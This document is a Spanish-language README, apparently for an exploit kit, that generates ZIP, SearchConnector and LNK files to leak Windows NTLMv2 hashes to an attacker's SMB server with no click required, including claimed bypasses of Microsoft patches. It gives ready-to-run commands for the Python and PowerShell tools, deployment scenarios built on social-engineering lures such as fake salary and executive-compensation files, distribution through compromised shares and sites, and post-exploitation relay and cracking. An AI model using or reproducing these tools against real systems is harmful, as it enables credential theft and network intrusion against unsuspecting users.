Divulgación de Hash NTLMv2-SSP sin clic en el Explorador de Windows

🎥 Demostración POC + Bypass del Parche de Marzo 2025

Haga clic en la imagen de arriba para ver la demostración de la vulnerabilidad

📋 Resumen Técnico

Mecanismo Central de la Vulnerabilidad

El problema de seguridad fundamental reside en el procesamiento automático por parte del Shell de Windows de rutas UNC incrustadas dentro de formatos de archivo específicos durante las operaciones de vista previa. Cuando los usuarios abren archivos ZIP que contienen archivos especialmente diseñados, el Explorador de Windows resuelve automáticamente las rutas UNC sin el consentimiento del usuario, iniciando intentos de autenticación SMB y exponiendo los hashes NTLMv2-SSP a servidores controlados por el atacante.

Componentes de la Superficie de Ataque

• Análisis de Formato de Archivo: Procesamiento automático del Shell de Windows de archivos shell basados en XML y propiedades de accesos directos LNK
• Bypass del Contenedor ZIP: Funcionalidad de vista previa de archivos que elude las protecciones de Mark-of-the-Web (MOTW)
• Disparador de Autenticación: Resolución automática de UNC durante la extracción de metadatos y operaciones de obtención de iconos

🏗️ Evolución de la Arquitectura

🔰 Fase 1: Divulgación basada en SearchConnector (CVE-2025-24054)

Archivo: ntlm-disclosure-poc.py

Esta implementación inicial explota los archivos SearchConnector de Windows (.searchConnector-ms), que son archivos de configuración XML que definen ubicaciones de búsqueda para el Explorador de Windows. La vulnerabilidad se activa cuando Windows procesa automáticamente la ruta UNC incrustada en el elemento simpleLocation durante la operación de vista previa del archivo ZIP.

Características Técnicas:

• Estructura de payload XML siguiendo las especificaciones del esquema de Microsoft
• Inserción de ruta UNC en elementos searchConnectorDescription
• Procesamiento automático por el Indexador de búsqueda de Windows y el shell del Explorador
• Elude las restricciones tradicionales de ejecución de archivos

🔰 Fase 2: Bypass LNK-en-ZIP (CVE-2025-50154 / CVE-2025-59214)

Archivo: patch_bypass.ps1

Esta técnica mejorada aborda el parche inicial de Microsoft aprovechando las propiedades de los archivos LNK. El ataque explota el comportamiento del Explorador de Windows al obtener metadatos de iconos y resolver rutas de destino durante la vista previa de archivos ZIP, manteniendo al mismo tiempo el vector de explotación sin clic mediante una configuración cuidadosa de las propiedades.

Características Técnicas:

• Archivos LNK con rutas UNC en la propiedad TargetPath
• Referencias a iconos locales para eludir los mecanismos de detección iniciales
• Extracción automática de propiedades por el Shell de Windows durante la vista previa
• Mantiene la legitimidad del formato de archivo mientras logra la resolución UNC

🔧 Requisitos Previos

🔰 Fase 1: Implementación en Python (CVE-2025-24054)

# Uso básico
python ntml-disclosure-poc.py 192.168.1.100

# Con archivo de salida personalizado
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Ejemplo de salida
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parámetros
target (obligatorio): Dirección IP o nombre de host de destino
-o, --output: Nombre de archivo de salida personalizado para el paquete ZIP

🔰 Fase 2: Bypass en PowerShell (CVE-2025-50154/59214)

# Uso básico - El archivo LNK se elimina automáticamente
.\bypass.ps1 -IP 192.168.1.100

# Conservar el archivo LNK para distribución externa
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Nombre de señuelo y recurso compartido personalizados
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Especificar directorio de salida
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parámetros
-IP (obligatorio): Dirección IP del servidor SMB de destino
-Share: Nombre del recurso compartido SMB (por defecto: 'share')
-File: Nombre del archivo de destino (por defecto: 'payload.exe')
-Lure: Nombre de archivo de ingeniería social (por defecto: 'Your_File_For_Payload_Here')
-OutDir: Directorio de salida (por defecto: directorio actual)
-KeepLnk: Conservar el archivo LNK después de crear el ZIP

graph TD
    A[🔴 CVE-2025-24054<br/>Vulnerabilidad Inicial] --> B[🛡️ Parche de Microsoft]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Parche de Microsoft]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Estado Actual<br/>Explotación Activa]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Especificaciones Técnicas

1. 📦 Generación de Payload
   • Crear archivo malicioso (SearchConnector/LNK) con ruta UNC
   • Empaquetar en archivo ZIP con un nombre atractivo
2. 📤 Entrega
   • Distribuir ZIP por correo electrónico/web/descarga
3. 💥 Explotación
   • La víctima abre el ZIP en el Explorador de Windows
   • La vista previa automática del archivo activa la resolución UNC
   • El hash NTLMv2-SSP se transmite al atacante
4. 🎭 Post-Explotación
   • Captura de hash y ataques de retransmisión
   • Intentos de descifrado de contraseñas

💀 Escenarios de Despliegue

📨 Escenario 1: Distribución Directa de ZIP

# Crear payload ZIP
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Vectores de distribución:
# - 📧 Adjuntos de correo electrónico con señuelos de ingeniería social
# - ☁️ Servicios de intercambio de archivos comprometidos
# - 🌐 Colocaciones en recursos compartidos de red en entornos empresariales

🔄 Escenario 2: Transferencia de Archivos LNK

# Crear y conservar archivo LNK para despliegue en múltiples equipos
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Despliegue entre equipos:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Distribución basada en web a través de sitios comprometidos

🎯 Escenario 3: Ingeniería Social Dirigida

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Contacte al Desarrollador

- Grupo y Contacto: t.me/initial_persistence
- Correo electrónico: [email protected]